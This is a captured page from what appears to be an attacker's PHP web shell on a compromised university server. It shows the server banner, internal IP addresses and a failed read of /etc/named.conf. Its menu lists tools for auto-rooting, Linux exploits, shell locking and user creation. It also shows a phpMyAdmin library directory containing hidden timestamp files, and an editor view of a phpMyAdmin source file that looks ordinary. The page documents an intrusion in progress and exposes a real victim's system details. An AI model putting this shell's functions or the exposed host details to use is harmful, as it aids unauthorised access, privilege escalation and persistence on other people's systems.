Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
htdocs /
phpMyAdmin /
libraries /
[ HOME SHELL ]
Name
Size
Permission
Action
certs
[ DIR ]
drwxrwxr-x
config
[ DIR ]
drwxrwxr-x
controllers
[ DIR ]
drwxrwxr-x
dbi
[ DIR ]
drwxrwxr-x
di
[ DIR ]
drwxrwxr-x
engines
[ DIR ]
drwxrwxr-x
gis
[ DIR ]
drwxrwxr-x
navigation
[ DIR ]
drwxrwxr-x
plugins
[ DIR ]
drwxrwxr-x
properties
[ DIR ]
drwxrwxr-x
rte
[ DIR ]
drwxrwxr-x
.1724597954
0
B
-rwxrwxr-x
.1724621370
0
B
-rwxrwxr-x
.1724621595
0
B
-rwxrwxr-x
.1724693108
0
B
-rwxrwxr-x
.1724693161
0
B
-rwxrwxr-x
.1724693163
0
B
-rwxrwxr-x
.1724716554
0
B
-rwxrwxr-x
.1724716619
0
B
-rwxrwxr-x
.1724995546
0
B
-rwxrwxr-x
.1725018452
0
B
-rwxrwxr-x
.1725018571
0
B
-rwxrwxr-x
.1725018746
0
B
-rwxrwxr-x
.1725030833
0
B
-rwxrwxr-x
.1725030838
0
B
-rwxrwxr-x
.1725030897
0
B
-rwxrwxr-x
.1725030901
0
B
-rwxrwxr-x
advisor.lib.php
1.58
KB
-rwxrwxr-x
Advisor.php
16.32
KB
-rwxrwxr-x
advisory_rules.txt
25.94
KB
-rwxrwxr-x
Bookmark.php
9.76
KB
-rwxrwxr-x
browse_foreigners.lib.php
9.63
KB
-rwxrwxr-x
central_columns.lib.php
49.24
KB
-rwxrwxr-x
Charsets.php
22.67
KB
-rwxrwxr-x
check_user_privileges.lib.php
11
KB
-rwxrwxr-x
common.inc.php
29.21
KB
-rwxrwxr-x
config.default.php
65.5
KB
-rwxrwxr-x
Config.php
55.12
KB
-rwxrwxr-x
config.values.php
10.24
KB
-rwxrwxr-x
Console.php
3.38
KB
-rwxrwxr-x
core.lib.php
29.45
KB
-rwxrwxr-x
create_addfield.lib.php
15.7
KB
-rwxrwxr-x
database_interface.inc.php
2.63
KB
-rwxrwxr-x
DatabaseInterface.php
95.6
KB
-rwxrwxr-x
db_common.inc.php
3.04
KB
-rwxrwxr-x
db_designer.lib.php
10.77
KB
-rwxrwxr-x
DbList.php
1.91
KB
-rwxrwxr-x
DbQbe.php
68.78
KB
-rwxrwxr-x
DbSearch.php
17.06
KB
-rwxrwxr-x
display_change_password.lib.php
6.15
KB
-rwxrwxr-x
display_create_table.lib.php
1.53
KB
-rwxrwxr-x
display_export.lib.php
35.53
KB
-rwxrwxr-x
display_git_revision.lib.php
2.88
KB
-rwxrwxr-x
display_import_ajax.lib.php
3.13
KB
-rwxrwxr-x
display_import.lib.php
24.38
KB
-rwxrwxr-x
DisplayResults.php
206.87
KB
-rwxrwxr-x
Encoding.php
8.93
KB
-rwxrwxr-x
ErrorHandler.php
16.41
KB
-rwxrwxr-x
error.inc.php
1.27
KB
-rwxrwxr-x
Error.php
12.87
KB
-rwxrwxr-x
error_report.lib.php
9.25
KB
-rwxrwxr-x
file_listing.lib.php
2.37
KB
-rwxrwxr-x
File.php
20.62
KB
-rwxrwxr-x
Font.php
4.24
KB
-rwxrwxr-x
Footer.php
10.29
KB
-rwxrwxr-x
Header.php
25.21
KB
-rwxrwxr-x
import.lib.php
49.9
KB
-rwxrwxr-x
inc.php
30.99
KB
-rwxrwxr-x
IndexColumn.php
4.46
KB
-rwxrwxr-x
index.lib.php
1.13
KB
-rwxrwxr-x
Index.php
23.38
KB
-rwxrwxr-x
information_schema_relations.lib.php
10.95
KB
-rwxrwxr-x
insert_edit.lib.php
112.42
KB
-rwxrwxr-x
ip_allow_deny.lib.php
8.09
KB
-rwxrwxr-x
LanguageManager.php
22.63
KB
-rwxrwxr-x
Language.php
4.21
KB
-rwxrwxr-x
language_stats.inc.php
1.5
KB
-rwxrwxr-x
Linter.php
5.09
KB
-rwxrwxr-x
ListAbstract.php
3.15
KB
-rwxrwxr-x
ListDatabase.php
4.63
KB
-rwxrwxr-x
Logging.php
1023
B
-rwxrwxr-x
Menu.php
21.36
KB
-rwxrwxr-x
Message.php
19.14
KB
-rwxrwxr-x
mime.lib.php
704
B
-rwxrwxr-x
mult_submits.inc.php
10.46
KB
-rwxrwxr-x
mult_submits.lib.php
20.45
KB
-rwxrwxr-x
normalization.lib.php
33.97
KB
-rwxrwxr-x
OpenDocument.php
8.52
KB
-rwxrwxr-x
operations.lib.php
71.3
KB
-rwxrwxr-x
OutputBuffering.php
3.59
KB
-rwxrwxr-x
parse_analyze.lib.php
2.18
KB
-rwxrwxr-x
Partition.php
9
KB
-rwxrwxr-x
PDF.php
3.92
KB
-rwxrwxr-x
plugin_interface.lib.php
19.69
KB
-rwxrwxr-x
pmd_common.php
24.1
KB
-rwxrwxr-x
RecentFavoriteTable.php
11.79
KB
-rwxrwxr-x
relation_cleanup.lib.php
13.84
KB
-rwxrwxr-x
relation.lib.php
68.74
KB
-rwxrwxr-x
replication_gui.lib.php
37.24
KB
-rwxrwxr-x
replication.inc.php
9.33
KB
-rwxrwxr-x
Response.php
12.05
KB
-rwxrwxr-x
Sanitize.php
14.1
KB
-rwxrwxr-x
SavedSearches.php
11.67
KB
-rwxrwxr-x
Scripts.php
6.59
KB
-rwxrwxr-x
select_server.lib.php
3.52
KB
-rwxrwxr-x
server_common.inc.php
1.24
KB
-rwxrwxr-x
server_common.lib.php
1.92
KB
-rwxrwxr-x
server_privileges.lib.php
171.6
KB
-rwxrwxr-x
server_status_advisor.lib.php
1.89
KB
-rwxrwxr-x
ServerStatusData.php
15.7
KB
-rwxrwxr-x
server_status.lib.php
9.84
KB
-rwxrwxr-x
server_status_monitor.lib.php
26.31
KB
-rwxrwxr-x
server_status_processes.lib.php
9.4
KB
-rwxrwxr-x
server_status_queries.lib.php
4.9
KB
-rwxrwxr-x
server_status_variables.lib.php
28.85
KB
-rwxrwxr-x
server_user_groups.lib.php
12.71
KB
-rwxrwxr-x
server_users.lib.php
1.32
KB
-rwxrwxr-x
session.lib.php
1.11
KB
-rwxrwxr-x
special_schema_links.lib.php
17.51
KB
-rwxrwxr-x
sql.lib.php
77.55
KB
-rwxrwxr-x
sql_query_form.lib.php
15.78
KB
-rwxrwxr-x
StorageEngine.php
13.51
KB
-rwxrwxr-x
string.lib.php
800
B
-rwxrwxr-x
stringMb.lib.php
1.85
KB
-rwxrwxr-x
stringNative.lib.php
6.82
KB
-rwxrwxr-x
SubPartition.php
3.52
KB
-rwxrwxr-x
sysinfo.lib.php
1.35
KB
-rwxrwxr-x
SysInfoLinux.php
1.92
KB
-rwxrwxr-x
SysInfo.php
800
B
-rwxrwxr-x
SysInfoSunOS.php
1.86
KB
-rwxrwxr-x
SysInfoWINNT.php
3.08
KB
-rwxrwxr-x
SystemDatabase.php
3.66
KB
-rwxrwxr-x
Table.php
86.78
KB
-rwxrwxr-x
tbl_columns_definition_form.inc.php
13.84
KB
-rwxrwxr-x
tbl_common.inc.php
1.71
KB
-rwxrwxr-x
tbl_info.inc.php
3.54
KB
-rwxrwxr-x
Template.php
4.42
KB
-rwxrwxr-x
ThemeManager.php
12.25
KB
-rwxrwxr-x
Theme.php
12.68
KB
-rwxrwxr-x
Tracker.php
28.76
KB
-rwxrwxr-x
tracking.lib.php
54.52
KB
-rwxrwxr-x
tracking.php
393
B
-rwxrwxr-x
transformations.lib.php
14.62
KB
-rwxrwxr-x
TypesMySQL.php
17.26
KB
-rwxrwxr-x
Types.php
6.08
KB
-rwxrwxr-x
URL.php
8.42
KB
-rwxrwxr-x
user_preferences.inc.php
2.41
KB
-rwxrwxr-x
user_preferences.lib.php
8.28
KB
-rwxrwxr-x
util.lib.php
749
B
-rwxrwxr-x
Util.php
169.69
KB
-rwxrwxr-x
vendor_config.php
2.07
KB
-rwxrwxr-x
VersionInformation.php
6.34
KB
-rwxrwxr-x
zip_extension.lib.php
5.81
KB
-rwxrwxr-x
ZipFile.php
6.63
KB
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pmd_common.php
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Common functions for Designer * * @package PhpMyAdmin-Designer */ use PMA\libraries\Table; /** * Block attempts to directly run this script */ if (! defined('PHPMYADMIN')) { exit; } $GLOBALS['PMD']['STYLE'] = 'default'; $cfgRelation = PMA_getRelationsParam(); /** * Retrieves table info and stores it in $GLOBALS['PMD'] * * @return array with table info */ function PMA_getTablesInfo() { $retval = array(); $GLOBALS['PMD']['TABLE_NAME'] = array();// that foreach no error $GLOBALS['PMD']['OWNER'] = array(); $GLOBALS['PMD']['TABLE_NAME_SMALL'] = array(); $tables = $GLOBALS['dbi']->getTablesFull($GLOBALS['db']); // seems to be needed later $GLOBALS['dbi']->selectDb($GLOBALS['db']); $i = 0; foreach ($tables as $one_table) { $GLOBALS['PMD']['TABLE_NAME'][$i] = $GLOBALS['db'] . "." . $one_table['TABLE_NAME']; $GLOBALS['PMD']['OWNER'][$i] = $GLOBALS['db']; $GLOBALS['PMD']['TABLE_NAME_SMALL'][$i] = htmlspecialchars( $one_table['TABLE_NAME'], ENT_QUOTES ); $GLOBALS['PMD_URL']['TABLE_NAME'][$i] = $GLOBALS['db'] . "." . $one_table['TABLE_NAME']; $GLOBALS['PMD_URL']['OWNER'][$i] = $GLOBALS['db']; $GLOBALS['PMD_URL']['TABLE_NAME_SMALL'][$i] = $one_table['TABLE_NAME']; $GLOBALS['PMD_OUT']['TABLE_NAME'][$i] = htmlspecialchars( $GLOBALS['db'] . "." . $one_table['TABLE_NAME'], ENT_QUOTES ); $GLOBALS['PMD_OUT']['OWNER'][$i] = htmlspecialchars( $GLOBALS['db'], ENT_QUOTES ); $GLOBALS['PMD_OUT']['TABLE_NAME_SMALL'][$i] = htmlspecialchars( $one_table['TABLE_NAME'], ENT_QUOTES ); $GLOBALS['PMD']['TABLE_TYPE'][$i] = mb_strtoupper( $one_table['ENGINE'] ); $DF = PMA_getDisplayField($GLOBALS['db'], $one_table['TABLE_NAME']); if ($DF != '') { $retval[$GLOBALS['PMD_URL']["TABLE_NAME_SMALL"][$i]] = $DF; } $i++; } return $retval; } /** * Retrieves table column info * * @return array table column nfo */ function PMA_getColumnsInfo() { $GLOBALS['dbi']->selectDb($GLOBALS['db']); $tab_column = array(); for ($i = 0, $cnt = count($GLOBALS['PMD']["TABLE_NAME"]); $i < $cnt; $i++) { $fields_rs = $GLOBALS['dbi']->query( $GLOBALS['dbi']->getColumnsSql( $GLOBALS['db'], $GLOBALS['PMD_URL']["TABLE_NAME_SMALL"][$i], null, true ), null, PMA\libraries\DatabaseInterface::QUERY_STORE ); $tbl_name_i = $GLOBALS['PMD']['TABLE_NAME'][$i]; $j = 0; while ($row = $GLOBALS['dbi']->fetchAssoc($fields_rs)) { $tab_column[$tbl_name_i]['COLUMN_ID'][$j] = $j; $tab_column[$tbl_name_i]['COLUMN_NAME'][$j] = $row['Field']; $tab_column[$tbl_name_i]['TYPE'][$j] = $row['Type']; $tab_column[$tbl_name_i]['NULLABLE'][$j] = $row['Null']; $j++; } } return $tab_column; } /** * Returns JavaScript code for initializing vars * * @return string JavaScript code */ function PMA_getScriptContr() { $GLOBALS['dbi']->selectDb($GLOBALS['db']); $con = array(); $con["C_NAME"] = array(); $i = 0; $alltab_rs = $GLOBALS['dbi']->query( 'SHOW TABLES FROM ' . PMA\libraries\Util::backquote($GLOBALS['db']), null, PMA\libraries\DatabaseInterface::QUERY_STORE ); while ($val = @$GLOBALS['dbi']->fetchRow($alltab_rs)) { $row = PMA_getForeigners($GLOBALS['db'], $val[0], '', 'internal'); if ($row !== false) { foreach ($row as $field => $value) { $con['C_NAME'][$i] = ''; $con['DTN'][$i] = urlencode($GLOBALS['db'] . "." . $val[0]); $con['DCN'][$i] = urlencode($field); $con['STN'][$i] = urlencode( $value['foreign_db'] . "." . $value['foreign_table'] ); $con['SCN'][$i] = urlencode($value['foreign_field']); $i++; } } $row = PMA_getForeigners($GLOBALS['db'], $val[0], '', 'foreign'); if ($row !== false) { foreach ($row['foreign_keys_data'] as $one_key) { foreach ($one_key['index_list'] as $index => $one_field) { $con['C_NAME'][$i] = $one_key['constraint']; $con['DTN'][$i] = urlencode($GLOBALS['db'] . "." . $val[0]); $con['DCN'][$i] = urlencode($one_field); $con['STN'][$i] = urlencode( (isset($one_key['ref_db_name']) ? $one_key['ref_db_name'] : $GLOBALS['db']) . "." . $one_key['ref_table_name'] ); $con['SCN'][$i] = urlencode($one_key['ref_index_list'][$index]); $i++; } } } } $ti = 0; $retval = array(); for ($i = 0, $cnt = count($con["C_NAME"]); $i < $cnt; $i++) { $c_name_i = $con['C_NAME'][$i]; $dtn_i = $con['DTN'][$i]; $retval[$ti] = array(); $retval[$ti][$c_name_i] = array(); if (in_array($dtn_i, $GLOBALS['PMD_URL']["TABLE_NAME"]) && in_array($con['STN'][$i], $GLOBALS['PMD_URL']["TABLE_NAME"]) ) { $retval[$ti][$c_name_i][$dtn_i] = array(); $retval[$ti][$c_name_i][$dtn_i][$con['DCN'][$i]] = array( 0 => $con['STN'][$i], 1 => $con['SCN'][$i] ); } $ti++; } return $retval; } /** * Returns UNIQUE and PRIMARY indices * * @return array unique or primary indices */ function PMA_getPKOrUniqueKeys() { return PMA_getAllKeys(true); } /** * Returns all indices * * @param bool $unique_only whether to include only unique ones * * @return array indices */ function PMA_getAllKeys($unique_only = false) { $keys = array(); foreach ($GLOBALS['PMD']['TABLE_NAME_SMALL'] as $I => $table) { $schema = $GLOBALS['PMD']['OWNER'][$I]; // for now, take into account only the first index segment foreach (PMA\libraries\Index::getFromTable($table, $schema) as $index) { if ($unique_only && ! $index->isUnique()) { continue; } $columns = $index->getColumns(); foreach ($columns as $column_name => $dummy) { $keys[$schema . '.' . $table . '.' . $column_name] = 1; } } } return $keys; } /** * Return script to create j_tab and h_tab arrays * * @return string */ function PMA_getScriptTabs() { $retval = array( 'j_tabs' => array(), 'h_tabs' => array() ); for ($i = 0, $cnt = count($GLOBALS['PMD']['TABLE_NAME']); $i < $cnt; $i++) { $j = 0; if (PMA\libraries\Util::isForeignKeySupported($GLOBALS['PMD']['TABLE_TYPE'][$i])) { $j = 1; } $retval['j_tabs'][$GLOBALS['PMD_URL']['TABLE_NAME'][$i]] = $j; $retval['h_tabs'][$GLOBALS['PMD_URL']['TABLE_NAME'][$i]] = 1; } return $retval; } /** * Returns table positions of a given pdf page * * @param int $pg pdf page id * * @return array of table positions */ function PMA_getTablePositions($pg) { $cfgRelation = PMA_getRelationsParam(); if (! $cfgRelation['pdfwork']) { return null; } $query = " SELECT CONCAT_WS('.', `db_name`, `table_name`) AS `name`, `x` AS `X`, `y` AS `Y`, 1 AS `V`, 1 AS `H` FROM " . PMA\libraries\Util::backquote($cfgRelation['db']) . "." . PMA\libraries\Util::backquote($cfgRelation['table_coords']) . " WHERE pdf_page_number = " . intval($pg); $tab_pos = $GLOBALS['dbi']->fetchResult( $query, 'name', null, $GLOBALS['controllink'], PMA\libraries\DatabaseInterface::QUERY_STORE ); return $tab_pos; } /** * Returns page name of a given pdf page * * @param int $pg pdf page id * * @return String table name */ function PMA_getPageName($pg) { $cfgRelation = PMA_getRelationsParam(); if (! $cfgRelation['pdfwork']) { return null; } $query = "SELECT `page_descr`" . " FROM " . PMA\libraries\Util::backquote($cfgRelation['db']) . "." . PMA\libraries\Util::backquote($cfgRelation['pdf_pages']) . " WHERE " . PMA\libraries\Util::backquote('page_nr') . " = " . intval($pg); $page_name = $GLOBALS['dbi']->fetchResult( $query, null, null, $GLOBALS['controllink'], PMA\libraries\DatabaseInterface::QUERY_STORE ); return count($page_name) ? $page_name[0] : null; } /** * Deletes a given pdf page and its corresponding coordinates * * @param int $pg page id * * @return boolean success/failure */ function PMA_deletePage($pg) { $cfgRelation = PMA_getRelationsParam(); if (! $cfgRelation['pdfwork']) { return false; } $query = "DELETE FROM " . PMA\libraries\Util::backquote($cfgRelation['db']) . "." . PMA\libraries\Util::backquote($cfgRelation['table_coords']) . " WHERE " . PMA\libraries\Util::backquote('pdf_page_number') . " = " . intval($pg); $success = PMA_queryAsControlUser( $query, true, PMA\libraries\DatabaseInterface::QUERY_STORE ); if ($success) { $query = "DELETE FROM " . PMA\libraries\Util::backquote($cfgRelation['db']) . "." . PMA\libraries\Util::backquote($cfgRelation['pdf_pages']) . " WHERE " . PMA\libraries\Util::backquote('page_nr') . " = " . intval($pg); $success = PMA_queryAsControlUser( $query, true, PMA\libraries\DatabaseInterface::QUERY_STORE ); } return (boolean) $success; } /** * Returns the id of the default pdf page of the database. * Default page is the one which has the same name as the database. * * @param string $db database * * @return int id of the default pdf page for the database */ function PMA_getDefaultPage($db) { $cfgRelation = PMA_getRelationsParam(); if (! $cfgRelation['pdfwork']) { return null; } $query = "SELECT `page_nr`" . " FROM " . PMA\libraries\Util::backquote($cfgRelation['db']) . "." . PMA\libraries\Util::backquote($cfgRelation['pdf_pages']) . " WHERE `db_name` = '" . $GLOBALS['dbi']->escapeString($db) . "'" . " AND `page_descr` = '" . $GLOBALS['dbi']->escapeString($db) . "'"; $default_page_no = $GLOBALS['dbi']->fetchResult( $query, null, null, $GLOBALS['controllink'], PMA\libraries\DatabaseInterface::QUERY_STORE ); if (count($default_page_no)) { return intval($default_page_no[0]); } return -1; } /** * Get the id of the page to load. If a default page exists it will be returned. * If no such exists, returns the id of the first page of the database. * * @param string $db database * * @return int id of the page to load */ function PMA_getLoadingPage($db) { $cfgRelation = PMA_getRelationsParam(); if (! $cfgRelation['pdfwork']) { return null; } $page_no = -1; $default_page_no = PMA_getDefaultPage($db); if ($default_page_no != -1) { $page_no = $default_page_no; } else { $query = "SELECT MIN(`page_nr`)" . " FROM " . PMA\libraries\Util::backquote($cfgRelation['db']) . "." . PMA\libraries\Util::backquote($cfgRelation['pdf_pages']) . " WHERE `db_name` = '" . $GLOBALS['dbi']->escapeString($db) . "'"; $min_page_no = $GLOBALS['dbi']->fetchResult( $query, null, null, $GLOBALS['controllink'], PMA\libraries\DatabaseInterface::QUERY_STORE ); if (count($min_page_no[0])) { $page_no = $min_page_no[0]; } } return intval($page_no); } /** * Creates a new page and returns its auto-incrementing id * * @param string $pageName name of the page * @param string $db name of the database * * @return int|null */ function PMA_createNewPage($pageName, $db) { $cfgRelation = PMA_getRelationsParam(); if ($cfgRelation['pdfwork']) { $pageNumber = PMA_REL_createPage( $pageName, $cfgRelation, $db ); return $pageNumber; } return null; } /** * Saves positions of table(s) of a given pdf page * * @param int $pg pdf page id * * @return boolean success/failure */ function PMA_saveTablePositions($pg) { $cfgRelation = PMA_getRelationsParam(); if (! $cfgRelation['pdfwork']) { return false; } $query = "DELETE FROM " . PMA\libraries\Util::backquote($GLOBALS['cfgRelation']['db']) . "." . PMA\libraries\Util::backquote( $GLOBALS['cfgRelation']['table_coords'] ) . " WHERE `db_name` = '" . $GLOBALS['dbi']->escapeString($_REQUEST['db']) . "'" . " AND `pdf_page_number` = '" . $GLOBALS['dbi']->escapeString($pg) . "'"; $res = PMA_queryAsControlUser( $query, true, PMA\libraries\DatabaseInterface::QUERY_STORE ); if (!$res) { return (boolean)$res; } foreach ($_REQUEST['t_h'] as $key => $value) { list($DB, $TAB) = explode(".", $key); if (!$value) { continue; } $query = "INSERT INTO " . PMA\libraries\Util::backquote($GLOBALS['cfgRelation']['db']) . "." . PMA\libraries\Util::backquote($GLOBALS['cfgRelation']['table_coords']) . " (`db_name`, `table_name`, `pdf_page_number`, `x`, `y`)" . " VALUES (" . "'" . $GLOBALS['dbi']->escapeString($DB) . "', " . "'" . $GLOBALS['dbi']->escapeString($TAB) . "', " . "'" . $GLOBALS['dbi']->escapeString($pg) . "', " . "'" . $GLOBALS['dbi']->escapeString($_REQUEST['t_x'][$key]) . "', " . "'" . $GLOBALS['dbi']->escapeString($_REQUEST['t_y'][$key]) . "')"; $res = PMA_queryAsControlUser( $query, true, PMA\libraries\DatabaseInterface::QUERY_STORE ); } return (boolean) $res; } /** * Saves the display field for a table. * * @param string $db database name * @param string $table table name * @param string $field display field name * * @return boolean */ function PMA_saveDisplayField($db, $table, $field) { $cfgRelation = PMA_getRelationsParam(); if (!$cfgRelation['displaywork']) { return false; } $upd_query = new Table($table, $db, $GLOBALS['dbi']); $upd_query->updateDisplayField($field, $cfgRelation); return true; } /** * Adds a new foreign relation * * @param string $db database name * @param string $T1 foreign table * @param string $F1 foreign field * @param string $T2 master table * @param string $F2 master field * @param string $on_delete on delete action * @param string $on_update on update action * * @return array array of success/failure and message */ function PMA_addNewRelation($db, $T1, $F1, $T2, $F2, $on_delete, $on_update) { $tables = $GLOBALS['dbi']->getTablesFull($db, $T1); $type_T1 = mb_strtoupper($tables[$T1]['ENGINE']); $tables = $GLOBALS['dbi']->getTablesFull($db, $T2); $type_T2 = mb_strtoupper($tables[$T2]['ENGINE']); // native foreign key if (PMA\libraries\Util::isForeignKeySupported($type_T1) && PMA\libraries\Util::isForeignKeySupported($type_T2) && $type_T1 == $type_T2 ) { // relation exists? $existrel_foreign = PMA_getForeigners($db, $T2, '', 'foreign'); $foreigner = PMA_searchColumnInForeigners($existrel_foreign, $F2); if ($foreigner && isset($foreigner['constraint']) ) { return array(false, __('Error: relationship already exists.')); } // note: in InnoDB, the index does not requires to be on a PRIMARY // or UNIQUE key // improve: check all other requirements for InnoDB relations $result = $GLOBALS['dbi']->query( 'SHOW INDEX FROM ' . PMA\libraries\Util::backquote($db) . '.' . PMA\libraries\Util::backquote($T1) . ';' ); // will be use to emphasis prim. keys in the table view $index_array1 = array(); while ($row = $GLOBALS['dbi']->fetchAssoc($result)) { $index_array1[$row['Column_name']] = 1; } $GLOBALS['dbi']->freeResult($result); $result = $GLOBALS['dbi']->query( 'SHOW INDEX FROM ' . PMA\libraries\Util::backquote($db) . '.' . PMA\libraries\Util::backquote($T2) . ';' ); // will be used to emphasis prim. keys in the table view $index_array2 = array(); while ($row = $GLOBALS['dbi']->fetchAssoc($result)) { $index_array2[$row['Column_name']] = 1; } $GLOBALS['dbi']->freeResult($result); if (! empty($index_array1[$F1]) && ! empty($index_array2[$F2])) { $upd_query = 'ALTER TABLE ' . PMA\libraries\Util::backquote($db) . '.' . PMA\libraries\Util::backquote($T2) . ' ADD FOREIGN KEY (' . PMA\libraries\Util::backquote($F2) . ')' . ' REFERENCES ' . PMA\libraries\Util::backquote($db) . '.' . PMA\libraries\Util::backquote($T1) . '(' . PMA\libraries\Util::backquote($F1) . ')'; if ($on_delete != 'nix') { $upd_query .= ' ON DELETE ' . $on_delete; } if ($on_update != 'nix') { $upd_query .= ' ON UPDATE ' . $on_update; } $upd_query .= ';'; if ($GLOBALS['dbi']->tryQuery($upd_query)) { return array(true, __('FOREIGN KEY relationship has been added.')); } $error = $GLOBALS['dbi']->getError(); return array( false, __('Error: FOREIGN KEY relationship could not be added!') . "<br/>" . $error ); } return array(false, __('Error: Missing index on column(s).')); } // internal (pmadb) relation if ($GLOBALS['cfgRelation']['relwork'] == false) { return array(false, __('Error: Relational features are disabled!')); } // no need to recheck if the keys are primary or unique at this point, // this was checked on the interface part $q = "INSERT INTO " . PMA\libraries\Util::backquote($GLOBALS['cfgRelation']['db']) . "." . PMA\libraries\Util::backquote($GLOBALS['cfgRelation']['relation']) . "(master_db, master_table, master_field, " . "foreign_db, foreign_table, foreign_field)" . " values(" . "'" . $GLOBALS['dbi']->escapeString($db) . "', " . "'" . $GLOBALS['dbi']->escapeString($T2) . "', " . "'" . $GLOBALS['dbi']->escapeString($F2) . "', " . "'" . $GLOBALS['dbi']->escapeString($db) . "', " . "'" . $GLOBALS['dbi']->escapeString($T1) . "', " . "'" . $GLOBALS['dbi']->escapeString($F1) . "')"; if (PMA_queryAsControlUser($q, false, PMA\libraries\DatabaseInterface::QUERY_STORE) ) { return array(true, __('Internal relationship has been added.')); } $error = $GLOBALS['dbi']->getError($GLOBALS['controllink']); return array( false, __('Error: Internal relationship could not be added!') . "<br/>" . $error ); } /** * Removes a foreign relation * * @param string $T1 foreign db.table * @param string $F1 foreign field * @param string $T2 master db.table * @param string $F2 master field * * @return array array of success/failure and message */ function PMA_removeRelation($T1, $F1, $T2, $F2) { list($DB1, $T1) = explode(".", $T1); list($DB2, $T2) = explode(".", $T2); $tables = $GLOBALS['dbi']->getTablesFull($DB1, $T1); $type_T1 = mb_strtoupper($tables[$T1]['ENGINE']); $tables = $GLOBALS['dbi']->getTablesFull($DB2, $T2); $type_T2 = mb_strtoupper($tables[$T2]['ENGINE']); if (PMA\libraries\Util::isForeignKeySupported($type_T1) && PMA\libraries\Util::isForeignKeySupported($type_T2) && $type_T1 == $type_T2 ) { // InnoDB $existrel_foreign = PMA_getForeigners($DB2, $T2, '', 'foreign'); $foreigner = PMA_searchColumnInForeigners($existrel_foreign, $F2); if (isset($foreigner['constraint'])) { $upd_query = 'ALTER TABLE ' . PMA\libraries\Util::backquote($DB2) . '.' . PMA\libraries\Util::backquote($T2) . ' DROP FOREIGN KEY ' . PMA\libraries\Util::backquote($foreigner['constraint']) . ';'; if ($GLOBALS['dbi']->query($upd_query)) { return array(true, __('FOREIGN KEY relationship has been removed.')); } $error = $GLOBALS['dbi']->getError(); return array( false, __('Error: FOREIGN KEY relationship could not be removed!') . "<br/>" . $error ); } } // internal relations $delete_query = "DELETE FROM " . PMA\libraries\Util::backquote($GLOBALS['cfgRelation']['db']) . "." . $GLOBALS['cfgRelation']['relation'] . " WHERE " . "master_db = '" . $GLOBALS['dbi']->escapeString($DB2) . "'" . " AND master_table = '" . $GLOBALS['dbi']->escapeString($T2) . "'" . " AND master_field = '" . $GLOBALS['dbi']->escapeString($F2) . "'" . " AND foreign_db = '" . $GLOBALS['dbi']->escapeString($DB1) . "'" . " AND foreign_table = '" . $GLOBALS['dbi']->escapeString($T1) . "'" . " AND foreign_field = '" . $GLOBALS['dbi']->escapeString($F1) . "'"; $result = PMA_queryAsControlUser( $delete_query, false, PMA\libraries\DatabaseInterface::QUERY_STORE ); if (!$result) { $error = $GLOBALS['dbi']->getError($GLOBALS['controllink']); return array( false, __('Error: Internal relationship could not be removed!') . "<br/>" . $error ); } return array(true, __('Internal relationship has been removed.')); } /** * Save value for a designer setting * * @param string $index setting * @param string $value value * * @return bool whether the operation succeeded */ function PMA_saveDesignerSetting($index, $value) { $cfgRelation = PMA_getRelationsParam(); $cfgDesigner = array( 'user' => $GLOBALS['cfg']['Server']['user'], 'db' => $cfgRelation['db'], 'table' => $cfgRelation['designer_settings'] ); $success = true; if ($GLOBALS['cfgRelation']['designersettingswork']) { $orig_data_query = "SELECT settings_data" . " FROM " . PMA\libraries\Util::backquote($cfgDesigner['db']) . "." . PMA\libraries\Util::backquote($cfgDesigner['table']) . " WHERE username = '" . $GLOBALS['dbi']->escapeString($cfgDesigner['user']) . "';"; $orig_data = $GLOBALS['dbi']->fetchSingleRow( $orig_data_query, 'ASSOC', $GLOBALS['controllink'] ); if (! empty($orig_data)) { $orig_data = json_decode($orig_data['settings_data'], true); $orig_data[$index] = $value; $orig_data = json_encode($orig_data); $save_query = "UPDATE " . PMA\libraries\Util::backquote($cfgDesigner['db']) . "." . PMA\libraries\Util::backquote($cfgDesigner['table']) . " SET settings_data = '" . $orig_data . "'" . " WHERE username = '" . $GLOBALS['dbi']->escapeString($cfgDesigner['user']) . "';"; $success = PMA_queryAsControlUser($save_query); } else { $save_data = array($index => $value); $query = "INSERT INTO " . PMA\libraries\Util::backquote($cfgDesigner['db']) . "." . PMA\libraries\Util::backquote($cfgDesigner['table']) . " (username, settings_data)" . " VALUES('" . $cfgDesigner['user'] . "'," . " '" . json_encode($save_data) . "');"; $success = PMA_queryAsControlUser($query); } } return (bool) $success; }
Close